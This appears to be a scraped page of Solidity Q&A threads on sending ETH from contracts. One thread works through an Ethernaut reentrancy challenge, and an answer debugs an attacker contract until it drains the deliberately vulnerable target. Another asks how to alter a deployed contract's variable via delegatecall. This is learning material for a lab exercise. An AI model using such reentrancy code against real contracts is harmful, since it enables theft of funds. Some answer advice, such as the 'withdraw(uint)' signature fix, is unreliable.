I'm totally new to programming and I'm trying to code a Smart Contract that can receive funds and transfer them to other addresses through a function.
In my code I have a modifier that defines an owner that can call the withdraw/transfer function. I have defined 3 address variables, where the function transfers ETH to. Luckily it works as I want it to.
pragma solidity ^0.7.0;
contract SubscriptionPayment {
// address variable defining the owner
address public owner = msg.sender
;
// modifier that restricts access to the owner of contract
modifier onlyOwner{
require(msg.sender == owner);
_;
}
// contract is able to handle ETH
receive() external payable{
}
// function to withdraw restricted to owner
function withdraw(uint _value) external onlyOwner {
msg.sender.transfer(_value)
;
}
// define address variables
address payable public account1Address = 0xF6D461F87BBce30C9D03Ff7a8602156f006E2367 ;
address payable public account2Address = 0xb6a76127EDf7E0B7dfcEd9aDE73Fa8780eC26592 ;
address payable public account3Address = 0x722b95CA56b1C884f574BAE4832f053197Ca3F58 ;
// function to pay all subscriptions
function paySubscriptions() external onlyOwner {
account1Address.transfer(1000000000000000000);
account2Address.transfer(1000000000000000000);
account3Address.transfer(2000000000000000000);
}
My question concerns the paySubscriptions function. Is there any way to execute the transfers to these 3 addresses individually and sequentially? Of course I could just make 3 separate functions to transfer ETH to each of these addresses but that would give me 3 separate functions to call.
Is it possible to code that when one function is called, another one is called from within the contract and when this function is called, another one is called from within the contract? If so, I could code one function1 that can be called external and the other 2 functions are called from within the contract after function1 has been called/executed.
For a better understanding of your task, write how you would implement it if smart contracts could be written in Java or another language
You cold do something as follows:
Define an array of addresses and the amounts that they need transferring:
mapping (address => uint) public balances;
address payable [] public subscribers;
Then loop that mapping making payments for each such as:
function paySubscribers() public{
for (uint i=0; i<subscribers.length; i++) {
address payable currAddress = subscribers[i];
currAddress.transfer(balances[currAddress]);
}
}
I would suggest you read this article for a better understanding and more practice.
Looping in solidity
From the article:
In solidity, mapping is very useful to store token value of an
address. We have seen it in many contracts and they are normally
defined this way:
is this what you want?
function paySubscription(address receiverAddress, uint256 amount) external onlyOwner {
receiverAddress.transfer(amount);
}
function payAllSubs(address[] memory receivers, uint256[] amounts) external onlyOwner {
for (uint i=0; i<receivers.length; i++) {
address currAddress = receivers[i];
uint256 amt = amounts[i]
this.paySubscription(currAddress, amt);
}
}
Related
I'm trying to solve the reentrancy attack ethernaut challenge.
Here is the solidity code for the target contract:
pragma solidity ^0.8.0;
import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
My plan is to:
Donate to the Reentrance contract from another contract.
Call the withdraw function from inside a function in the contract I created as well as from the fallback function in my contract. The goal is to execute
(bool result,) = msg.sender.call{value:_amount}("");
enough times to empty the Reentrance contract's balance while skipping the code underneath.
Here's what my contract looks like:
contract interactor{
address public target=0xd9145CCE52D386f254917e481eB44e9943F39138;
uint32 public i = 0;
constructor() payable {}
function calldonate(address _to,uint val) public payable
{
target.call{value:val}(abi.encodeWithSignature("donate(address)", _to));
}
function callwithdraw() public
{
target.call(abi.encodeWithSignature("withdraw(uint256)", 1));
}
fallback() external payable {
i++;
require(i<target.balance);
msg.sender.call(abi.encodeWithSignature("withdraw(uint256)", 1));
}
}
After deploying the two contracts in Remix, I'm unable to empty the Reentrance contract's balance. The variable i never reaches target.balance-1.
I can't see what's wrong with my code (very new to Solidity).
Any help would be appreciated.
a few changes in your Interactor contract
1-
Instead of hardcoded target address, pass it in constructor. so deploy the Reentrance in case you need to have clean state variables
address public target;
uint32 public i = 0;
constructor(address _target) payable {
target=_target;
}
2- In calldonate function I added require for debuggin
bytes memory payload=abi.encodeWithSignature("donate(address)",_to);
(bool success,)=target.call{value:val}(payload);
// just for debugging purpose
require(success,"target.call failed");
3- call calldonate function. send 10 wei, since you are withdrawing 1 wei, otherwise Remix will crust. I think to address must be the interceptor address itself. since in Reentract contract, balances mapping is updated with the msg.value you have to enter amount in the value as in the image
successfully sent 10 wei, balance is updated
4- you have to update the fallback function. .call method did not work I think that is because of call is a safe function. (or I had some bugs). so I updated the fallback
fallback() external payable {
i++;
require(i<target.balance,"error here");
// msg.sender.call(abi.encodeWithSignature("withdraw(uint)",1));
// target.call(abi.encodeWithSignature("withdraw(uint)",1));
Reentrance(payable(target)).withdraw(1);
}
5- callwithdraw function signature should be updated. Reentrance contract passes uint but you are uint256
function callwithdraw() public
{
target.call(abi.encodeWithSignature("withdraw(uint)",1));
}
6- call callwithdraw function. Because you have this logic inside fallback
// when i=5, targetBalance would be 5
i++;
require(i<target.balance);
after you called it and check the balances you should see 5 left.
I am learning solidity. The code i have written compiles correctly and the same solution is given in the solutions of the question but it keeps reverting without any output. Please check the code once and let me know the mistake.
The question is to transfer the given amount from the amount array to the to array from the same position, i.e., from ith position of amount to ith position of to.
It shows the error message : "The transaction has been reverted to the initial state.
Note: The called function should be payable if you send value and the value you send should be less than your current balance."
//SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.5.0 <0.9.0;
contract Day4 {
address owner;
constructor() {
owner = msg.sender;
}
function send(address payable[] memory to, uint256[] memory amount)
public
payable
ownerOnly
{
require(to.length == amount.length, "to must be same length as amount");
for (uint256 i = 0; i < to.length; i++) {
to[i].transfer(amount[i]); //to array - 0x00 0x01 0x02
//amount array - 10 20 30
}
}
modifier ownerOnly() {
require(msg.sender == owner,"You are not the owner");
_;
}
}
Your issue depends from transfer() function. In details, this function allow you to transfer a specific amount from the smart contract balance to another address.
In your case, when you call directly send() function the smart contract balance is 0 because I think (since I don't see a deposit method) that you didn't deposit an amount to it.
For this reason, when you call send() function it reverts and doesn't works.
To solve this issue before call send() method, try to deposit a specific amount of ether to smart contract and then call send() method.
REMEMBER: The sum of array amount must be less to smart contract balance, otherwise it reverts.
I adjusted your smart contract in this way:
//SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.5.0 <0.9.0;
contract Day4 {
address owner;
constructor() {
owner = msg.sender;
}
function send(address payable[] memory to, uint256[] memory amount)
public
payable
ownerOnly
{
require(to.length == amount.length, "to must be same length as amount");
for (uint256 i = 0; i < to.length; i++) {
to[i].transfer(amount[i]);
}
}
modifier ownerOnly() {
require(msg.sender == owner,"You are not the owner");
_;
}
// NOTE: Call this function for first, and before this operation set the values inside msg.value textbox in
// Remix IDE (if you're using it)
function deposit() public payable {
}
}
In this contract, I call payWinner() once the third participant has bought a ticket. payWinner() is internal to avoid any external call but when it executes winnerAddress.transfer(winnableBalance);, the contract balance is sent to an internal address rather than to the external address winnerAddress. Same thing goes for burnLeftBalance() obviously.
I guess either it's impossible to transfer part of the contract holdings to an external address from an internal function and I need to create a public function for that (but I don't see how I can be sure that it's the contract itself calling the function), or there is something I'm missing.
pragma solidity ^0.8.14;
contract Lottery {
address payable public burnAddress = payable(0x0000000000000000000000000000000000000000);
uint256 public ticketsPerRound = 3;
uint256 public ticketPrice = 0.001 * 10e8 * 10e8;
address[] public participantAddresses;
error WrongTicketPrice(uint256 expectedRole, uint256 actualRole);
function buyTicket() external payable {
if (msg.value != ticketPrice) {
revert WrongTicketPrice(ticketPrice, msg.value);
}
participantAddresses.push(msg.sender);
if (participantAddresses.length >= ticketsPerRound) {
payWinner();
}
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
function getParticipantAddresses() external view returns (address[] memory) {
return participantAddresses;
}
function getWinnableBalance() public view returns (uint256) {
return address(this).balance / 2;
}
function getWinner() internal view returns (address payable winnerAddress) {
uint256 unsafeRandomNumber = uint256(
keccak256(abi.encodePacked(block.difficulty, block.timestamp, participantAddresses))
);
uint256 winnerIndex = unsafeRandomNumber % participantAddresses.length;
winnerAddress = payable(participantAddresses[winnerIndex]);
}
function burnLeftBalance() internal {
uint256 leftBalance = address(this).balance;
burnAddress.transfer(leftBalance);
reset();
}
function payWinner() internal {
uint256 winnableBalance = getWinnableBalance();
address payable winnerAddress = getWinner();
winnerAddress.transfer(winnableBalance);
burnLeftBalance();
}
function reset() internal {
delete participantAddresses;
}
}
There's no such thing as "internal and external addresses". The closest to this term I can think of is Externally Owned Account, which is a term representing an address derived from a private key, without a contract bytecode, mostly used by end user wallets. But that does not seem to be related to your question.
Etherscan is using "internal transactions" as a more user-friedly term for "message calls within the virtual machine". These "internal transaction" details (such as from what sender, to what recipient, what data was passed, what ETH value, ...) are not part of the public blockchain data - only the combined state changes of the "parent" transaction are stored in the blockchain. So Etherscan retrieves these details by emulating the transaction, records its message calls and stores them in Etherscan's own database, and then displays them in a separate tab.
So, the transaction that you sent is from your address, to the contract address, with value of 0.01 ETH, its data field contains selector of the buyTicket() function that you want to execute... These are all params of the transaction that you sent. And the "internal transactions" are just a way of displaying state changes that your transaction produced, and their trace. But as long as the state changes were produced (e.g. increased balance of the winnerAddress), there's no difference if they were produced by a "parent" transaction or an "internal transaction".
TLDR: It's not a bug, it's a feature. :)
How can I send tokens to a token holders from inside a smart contract with solidity?
It means how can send reward to token holders?
Have a list of addresses and loop through them while calling native erc transfer method. You can't really iterate through a mapping without knowing the access keys (if you're thinking about pulling addresses from smth like balances).
I am assuming you want to send Ether to another Smart Contract or an EOA (e.g. Metamask). You can write a Smart Contract such as the below and use the Remix Ethereum (an IDE) to send Ether to an external party. Use the public function - transferEther.
//SPDX-License-Identifier: GPL-3.0
pragma solidity >= 0.6.0 < 0.9.0;
contract Sample{
address public owner;
constructor() {
owner = msg.sender;
}
receive() external payable {
}
fallback() external payable {
}
function getBalance() public view returns (uint){
return address(this).balance;
}
// this function is for sending the wei/ether OUT from this smart contract (address) to another contract/external account.
function transferEther(address payable recipient, uint amount) public returns(bool){
require(owner == msg.sender, "transfer failed because you are not the owner."); //
if (amount <= getBalance()) {
recipient.transfer(amount);
return true;
} else {
return false;
}
}
}
I'm trying to change the value of a variable in a contract that is in the blockchain. I've deducted its code and is something like this:
pragma solidity ^0.4.8;
contract Trial {
address public owner;
address public person;
uint initialEther;
function Trial(address _person) payable {
owner = msg.sender;
person = _person;
initialEther = msg.value;
}
modifier only_person() {
if (msg.sender!=person && tx.origin!=person) throw;
_;
}
function() payable {}
bytes4 public signature = bytes4(sha3("libraryFunction()"));
bool variableToBeChanged = false;
function libraryInvocation(address libraryAddress) only_person {
bool doSomething = libraryAddress.delegatecall(signature);
if (variableToBeChanged) {
.....
}
}
}
Suppose that I have the right signature of the library function, what I'm trying to do is to change the value of "variableToBeChanged" in order to execute the code inside the if.
Probably there is a way to create a library with a function with a proper name and inserting assembler code in some way to change the value of the variable. But it's like using an atomic bomb to kill an ant. I'm looking for the simpler way to do this.
I also know this contract is not safe, I'm trying to understand if this is possible and I want to understand how risky this can be for a contract.
Without a function changing the variable it is not possible. Once the contract code is deployed, it is final, no change is possible. You need to deploy a new contract.
You could control with your contract which wallet is allowed to call the function by checking the msg.sender attribute for a specific wallet address.
address owner = 0x2FD4...;
if(msg.sender != owner) throw;
//code afterwards)